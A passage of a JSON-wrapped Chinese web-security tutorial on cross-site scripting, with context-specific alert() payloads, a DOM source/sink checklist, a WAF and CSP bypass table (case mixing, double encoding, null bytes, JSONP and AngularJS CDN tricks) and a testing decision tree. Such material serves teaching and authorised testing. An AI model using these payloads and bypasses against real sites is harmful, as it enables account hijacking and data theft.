id=\"u89d3847b\">&#039;-alert(1)-&#039;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u84ff1cbd\">href\/src<\/p>\n<\/td>\n<td>\n<p id=\"ube16b167\">javascript:alert(1)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ua204eedf\">\u5757\u6807\u7b7e\u5185<\/p>\n<\/td>\n<td>\n<p id=\"uca044516\">&lt;\/title&gt;&lt;svg onload&#061;alert(1)&gt;<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"WrgFk\">\u6e90\u4e0e\u6c47(DOM XSS \u5ba1\u8ba1\u6e05\u5355)<\/h4>\n<p id=\"u3aabafb0\">\u6e90:location.hash\u3001location.search\u3001document.referrer\u3001document.URL\u3001document.cookie\u3001postMessage<\/p>\n<p id=\"uf9634224\">\u6c47:innerHTML\u3001document.write\u3001eval\u3001setTimeout(\u5b57\u7b26\u4e32)\u3001location.href<\/p>\n<h4 id=\"Sjlv2\">\u7ed5\u8fc7\u601d\u8def\u603b\u89c8<\/h4>\n<table id=\"fsFX3\">\n<tbody>\n<tr>\n<td>\n<p id=\"ue55dadfa\">WAF \u65b9\u6cd5<\/p>\n<\/td>\n<td>\n<p id=\"ua2ac6914\">\u7ed5\u8fc7<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u7d054ecc\">\u9ed1\u540d\u5355 &lt;script&gt;<\/p>\n<\/td>\n<td>\n<p id=\"ud7ccc55e\">\u51b7\u95e8\u6807\u7b7e &lt;svg onload&gt;\u3001\u65e0\u4e8b\u4ef6\u5411\u91cf &lt;form action&#061;javascript:&gt;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u8ae66db1\">\u5927\u5c0f\u5199\u654f\u611f<\/p>\n<\/td>\n<td>\n<p id=\"u0fecd37e\">&lt;ScRiPt&gt;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u48d76d70\">\u4e00\u6b21\u6027 strip<\/p>\n<\/td>\n<td>\n<p id=\"ue40953f9\">\u788e\u7247\u5316 o&lt;x&gt;nmouseover<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u1ba84758\">\u5b57\u7b26\u8fc7\u6ee4<\/p>\n<\/td>\n<td>\n<p id=\"u006ead4e\">\u53cc\u91cd\u7f16\u7801 %253C\u3001null \u5b57\u8282 &lt;%00<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u7afb5fce\">\u6b63\u5219\u5355\u70b9<\/p>\n<\/td>\n<td>\n<p id=\"u49293bfb\">\u591a\u53cd\u5c04\u62fc\u63a5<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u8cd3e32d\">\u53ea\u67e5\u503c<\/p>\n<\/td>\n<td>\n<p id=\"u077afa32\">\u653b\u51fb\u53c2\u6570\u540d<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u41e4874d\">CSP<\/p>\n<\/td>\n<td>\n<p id=\"u039c1b39\">JSONP \/ AngularCDN \/ base-uri \u6ce8\u5165<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"DiXQ3\">\u6d4b\u8bd5\u6d41\u7a0b(\u51b3\u7b56\u6811)<\/h4>\n<p>\u62ff\u8f93\u5165\u70b9<br \/>\n\u251c\u2500\u2500 \u8f93\u5165\u56de\u663e\u5728\u54cd\u5e94?<br \/>\n\u2502   \u251c\u2500\u2500 \u662f \u2192 \u5224\u4e0a\u4e0b\u6587(HTML\/JS\/attr\/URL) \u2192 \u9009 payload<br \/>\n\u2502   \u2502       \u2514\u2500\u2500 \u88ab\u62e6?\u2192 \u7f16\u7801\/\u53d8\u5f62\/\u788e\u7247\u5316;\u67e5\u53c2\u6570\u540d\u662f\u5426\u88ab\u53cd\u5c04<br \/>\n\u2502   \u2514\u2500\u2500 \u5426 \u2192 \u5b58\u5e93?\u2192 \u6ce8\u5165\u76f2 XSS payload<br \/>\n\u2502           \u5728 DOM?\u2192 \u5ba1 JS \u6e90\u2192\u6c47(innerHTML\/eval\/document.write)<br \/>\n\u2514\u2500\u2500 \u6709 CSP?<br \/>\n    \u251c\u2500\u2500 \u67e5\u767d\u540d\u5355\u57df\u6709\u65e0 JSONP<br \/>\n    \u251c\u2500\u2500 \u67e5\u767d\u540d\u5355\u6709\u65e0 AngularJS CDN<br \/>\n    \u251c\u2500\u2500 \u67e5 base-uri \u6709\u65e0\u9650\u5236<br \/>\n    \u2514\u2500\u2500 \u67e5 unsafe-eval\/unsafe-inline <\/p>\n<hr id=\"WE52G\" \/>\n<h3 id=\"fRx7O\">\u5173\u952e\u6d1e\u5bdf\u6c47\u603b<\/h3>\n<li id=\"ub26799eb\">\u4e09\u578b\u672c\u8d28:\u90fd\u662f&#034;\u5728\u53d7\u5bb3\u8005\u8eab\u4efd&#043;\u53ef\u4fe1\u57df\u540d\u4e0b\u6267\u884c JS&#034;,\u533a\u522b\u53ea\u5728 payload \u600e\u4e48\u9001\u5230\u53d7\u5bb3\u8005\u624b\u91cc<\/li>\n<li id=\"u0bc35597\">\u5077 cookie \u673a\u5236:\u811a\u672c\u5f53\u5feb\u9012\u5458,\u7528 Image.src \u628a cookie \u53d1\u5230\u653b\u51fb\u8005\u670d\u52a1\u5668,\u540c\u6e90\u7b56\u7565\u7ba1\u4e0d\u5230&#034;\u53d1\u8bf7\u6c42\u51fa\u53bb&#034;<\/li>\n<li id=\"u4632b937\">HttpOnly \u5c40\u9650:\u6321\u5f97\u4f4f&#034;\u5077&#034;,\u6321\u4e0d\u4f4f&#034;\u501f\u5200\u529e\u4e8b&#034;(CSRF-via-XSS)<\/li>\n<li id=\"uf99cf105\">\u4e09\u5c42\u8bed\u6cd5:HTML(\u7ed3\u6784)&#043;JS(\u52a8\u4f5c)&#043;URL\u7f16\u7801(\u4f20\u8f93)\u53e0\u5728\u4e00\u8d77<\/li>\n<li id=\"uddae14e6\">\u5224\u65ad\u6a21\u578b:\u4e0d\u662f&#034;\u80fd\u8f93\u5165\u5c31\u80fd XSS&#034;,\u800c\u662f&#034;\u7528\u6237\u53ef\u63a7\u6570\u636e &#043; \u5230\u8fbe\u6267\u884c\u73af\u5883 &#043; \u672a\u6d88\u6bd2&#034;\u4e09\u8005\u540c\u65f6\u6210\u7acb<\/li>\n<li id=\"u8eaa3bf1\">DOM \u578b\u76f2\u533a:payload \u4e0d\u5728\u54cd\u5e94\u5305\u91cc,\u8981\u5ba1 JS \u6e90\u2192\u6c47<\/li>\n<li id=\"u6be10dfb\">\u4e0a\u4e0b\u6587\u4f18\u5148:\u5148\u5224\u6ce8\u5165\u70b9\u4f4d\u7f6e,\u518d\u9009 payload;&lt;script&gt; \u53ea\u5728&#034;\u5e72\u51c0 HTML \u6587\u672c\u8282\u70b9 &#043; \u65e0 WAF\/CSP&#034;\u7684\u7406\u60f3\u60c5\u51b5\u597d\u7528<\/li>\n<li id=\"u42285bc7\">\u8fc7\u6ee4&#061;\u6f0f\u6d1e:\u6709\u8fc7\u6ee4\u8bf4\u660e\u5f00\u53d1\u8005\u6253\u8fc7\u8865\u4e01,\u540c\u4e00\u5957\u8fc7\u6ee4\u5e38\u590d\u7528\u5230\u522b\u5904,\u53bb\u522b\u5904\u627e\u6f0f\u7684\u66f4\u53ef\u80fd\u7a81\u7834<\/li>\n<li id=\"u642bd940\">\u5f71\u54cd\u8fdc\u8d85\u5077 cookie:\u952e\u76d8\u8bb0\u5f55\u3001CSRF-via-XSS\u3001\u9493\u9c7c\u3001XSS\u2192RCE,\u5f39\u7a97\u53ea\u662f PoC<\/li>\n<li id=\"ud2b9067d\">Self-XSS \u4e0d\u662f\u6f0f\u6d1e:\u6ca1\u6709&#034;\u4e0d\u9760\u53d7\u5bb3\u8005\u624b\u52a8\u7c98\u8d34\u7684\u89e6\u53d1\u94fe&#034;\u5c31\u4e0d\u7b97<\/li>\n<hr id=\"ElbYD\" \/>\n<p id=\"u9ff40db4\">\u7b14\u8bb0\u6574\u7406\u4e8e XSS \u6280\u80fd\u5e93\u57fa\u7840\u4e4b\u4e0a,\u5b9e\u6218\u6d4b\u8bd5\u8bf7\u5728\u6388\u6743\u76ee\u6807\u4e0a\u8fdb\u884c\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212; \u514d\u8d23\u58f0\u660e \u672c\u6587\u7ae0\u6240\u6709\u5185\u5bb9\u4ec5\u4f9b\u5b66\u4e60\u4ea4\u6d41\u4e0e\u5b89\u5168\u7814\u7a76\u4f7f\u7528,\u65e8\u5728\u5e2e\u52a9\u5f00\u53d1\u8005\u548c\u5b89\u5168\u7231\u597d\u8005\u7406\u89e3\u6f0f\u6d1e\u539f\u7406\u3001\u63d0\u5347\u9632\u5fa1\u80fd\u529b\u3002 1. \u6388\u6743\u524d\u63d0:\u672c\u6587\u6d89\u53ca\u7684\u6280\u672f\u3001payload\u3001\u7ed5\u8fc7\u65b9\u6cd5\u4ec5\u53ef\u5728\u4f60\u62e5\u6709\u6240\u6709\u6743\u6216\u5df2\u83b7\u5f97\u660e\u786e\u4e66\u9762\u6388\u6743\u7684\u76ee\u6807\u4e0a\u8fdb\u884c\u6d4b\u8bd5\u3002\u672a\u7ecf\u6388\u6743\u5bf9\u4efb\u4f55\u7cfb\u7edf\u8fdb\u884c\u6d4b\u8bd5\u5747\u5c5e\u8fdd\u6cd5\u884c\u4e3a\u3002 \u00a0 2. \u7981\u6b62\u975e\u6cd5\u7528\u9014:\u8bfb\u8005\u4e0d\u5f97\u5c06\u672c\u6587\u5185\u5bb9\u7528\u4e8e\u4efb\u4f55\u975e\u6cd5\u5165\u4fb5\u3001\u653b\u51fb\u3001\u7834\u574f\u6216\u7a83\u53d6\u4ed6\u4eba\u6570\u636e\u7684\u6d3b\u52a8\u3002\u4e00\u5207\u672a\u7ecf\u6388\u6743\u7684\u6e17\u900f\u6d4b\u8bd5\u3001\u672a\u6388\u6743\u8bbf\u95ee\u5747\u8fdd\u53cd\u300a\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd\u7f51\u7edc\u5b89\u5168\u6cd5\u300b\u300a\u5211\u6cd5\u300b\u7b2c\u4e8c\u767e\u516b\u5341\u4e94\u6761\u3001\u7b2c\u4e8c\u767e\u516b\u5341\u516d\u6761\u7b49\u76f8\u5173\u6cd5\u5f8b\u6cd5<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[11992,122],"topic":[],"class_list":["post-105778","post","type-post","status-publish","format-standard","hentry","category-server","tag-11992","tag-122"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>XSS\u6df1\u5ea6\u7406\u89e3\u53ca\u8be6\u7ec6\u5229\u7528 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/105778.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"XSS\u6df1\u5ea6\u7406\u89e3\u53ca\u8be6\u7ec6\u5229\u7528 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"--- \u514d\u8d23\u58f0\u660e \u672c\u6587\u7ae0\u6240\u6709\u5185\u5bb9\u4ec5\u4f9b\u5b66\u4e60\u4ea4\u6d41\u4e0e\u5b89\u5168\u7814\u7a76\u4f7f\u7528,\u65e8\u5728\u5e2e\u52a9\u5f00\u53d1\u8005\u548c\u5b89\u5168\u7231\u597d\u8005\u7406\u89e3\u6f0f\u6d1e\u539f\u7406\u3001\u63d0\u5347\u9632\u5fa1\u80fd\u529b\u3002 1. \u6388\u6743\u524d\u63d0:\u672c\u6587\u6d89\u53ca\u7684\u6280\u672f\u3001payload\u3001\u7ed5\u8fc7\u65b9\u6cd5\u4ec5\u53ef\u5728\u4f60\u62e5\u6709\u6240\u6709\u6743\u6216\u5df2\u83b7\u5f97\u660e\u786e\u4e66\u9762\u6388\u6743\u7684\u76ee\u6807\u4e0a\u8fdb\u884c\u6d4b\u8bd5\u3002\u672a\u7ecf\u6388\u6743\u5bf9\u4efb\u4f55\u7cfb\u7edf\u8fdb\u884c\u6d4b\u8bd5\u5747\u5c5e\u8fdd\u6cd5\u884c\u4e3a\u3002 \u00a0 2. \u7981\u6b62\u975e\u6cd5\u7528\u9014:\u8bfb\u8005\u4e0d\u5f97\u5c06\u672c\u6587\u5185\u5bb9\u7528\u4e8e\u4efb\u4f55\u975e\u6cd5\u5165\u4fb5\u3001\u653b\u51fb\u3001\u7834\u574f\u6216\u7a83\u53d6\u4ed6\u4eba\u6570\u636e\u7684\u6d3b\u52a8\u3002\u4e00\u5207\u672a\u7ecf\u6388\u6743\u7684\u6e17\u900f\u6d4b\u8bd5\u3001\u672a\u6388\u6743\u8bbf\u95ee\u5747\u8fdd\u53cd\u300a\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd\u7f51\u7edc\u5b89\u5168\u6cd5\u300b\u300a\u5211\u6cd5\u300b\u7b2c\u4e8c\u767e\u516b\u5341\u4e94\u6761\u3001\u7b2c\u4e8c\u767e\u516b\u5341\u516d\u6761\u7b49\u76f8\u5173\u6cd5\u5f8b\u6cd5\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/105778.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-15T16:32:26+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/105778.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/105778.html\",\"name\":\"XSS\u6df1\u5ea6\u7406\u89e3\u53ca\u8be6\u7ec6\u5229\u7528 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-15T16:32:26+00:00\",\"dateModified\":\"2026-09-15T16:32:26+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/105778.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/105778.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/105778.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"XSS\u6df1\u5ea6\u7406\u89e3\u53ca\u8be6\u7ec6\u5229\u7528\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"XSS\u6df1\u5ea6\u7406\u89e3\u53ca\u8be6\u7ec6\u5229\u7528 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/105778.html","og_locale":"zh_CN","og_type":"article","og_title":"XSS\u6df1\u5ea6\u7406\u89e3\u53ca\u8be6\u7ec6\u5229\u7528 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"--- \u514d\u8d23\u58f0\u660e \u672c\u6587\u7ae0\u6240\u6709\u5185\u5bb9\u4ec5\u4f9b\u5b66\u4e60\u4ea4\u6d41\u4e0e\u5b89\u5168\u7814\u7a76\u4f7f\u7528,\u65e8\u5728\u5e2e\u52a9\u5f00\u53d1\u8005\u548c\u5b89\u5168\u7231\u597d\u8005\u7406\u89e3\u6f0f\u6d1e\u539f\u7406\u3001\u63d0\u5347\u9632\u5fa1\u80fd\u529b\u3002 1. \u6388\u6743\u524d\u63d0:\u672c\u6587\u6d89\u53ca\u7684\u6280\u672f\u3001payload\u3001\u7ed5\u8fc7\u65b9\u6cd5\u4ec5\u53ef\u5728\u4f60\u62e5\u6709\u6240\u6709\u6743\u6216\u5df2\u83b7\u5f97\u660e\u786e\u4e66\u9762\u6388\u6743\u7684\u76ee\u6807\u4e0a\u8fdb\u884c\u6d4b\u8bd5\u3002\u672a\u7ecf\u6388\u6743\u5bf9\u4efb\u4f55\u7cfb\u7edf\u8fdb\u884c\u6d4b\u8bd5\u5747\u5c5e\u8fdd\u6cd5\u884c\u4e3a\u3002 \u00a0 2. \u7981\u6b62\u975e\u6cd5\u7528\u9014:\u8bfb\u8005\u4e0d\u5f97\u5c06\u672c\u6587\u5185\u5bb9\u7528\u4e8e\u4efb\u4f55\u975e\u6cd5\u5165\u4fb5\u3001\u653b\u51fb\u3001\u7834\u574f\u6216\u7a83\u53d6\u4ed6\u4eba\u6570\u636e\u7684\u6d3b\u52a8\u3002\u4e00\u5207\u672a\u7ecf\u6388\u6743\u7684\u6e17\u900f\u6d4b\u8bd5\u3001\u672a\u6388\u6743\u8bbf\u95ee\u5747\u8fdd\u53cd\u300a\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd\u7f51\u7edc\u5b89\u5168\u6cd5\u300b\u300a\u5211\u6cd5\u300b\u7b2c\u4e8c\u767e\u516b\u5341\u4e94\u6761\u3001\u7b2c\u4e8c\u767e\u516b\u5341\u516d\u6761\u7b49\u76f8\u5173\u6cd5\u5f8b\u6cd5","og_url":"https:\/\/www.wsisp.com\/helps\/105778.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-15T16:32:26+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"8 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/105778.html","url":"https:\/\/www.wsisp.com\/helps\/105778.html","name":"XSS\u6df1\u5ea6\u7406\u89e3\u53ca\u8be6\u7ec6\u5229\u7528 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-15T16:32:26+00:00","dateModified":"2026-09-15T16:32:26+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/105778.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/105778.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/105778.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"XSS\u6df1\u5ea6\u7406\u89e3\u53ca\u8be6\u7ec6\u5229\u7528"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/105778","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=105778"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/105778\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=105778"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=105778"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=105778"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=105778"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}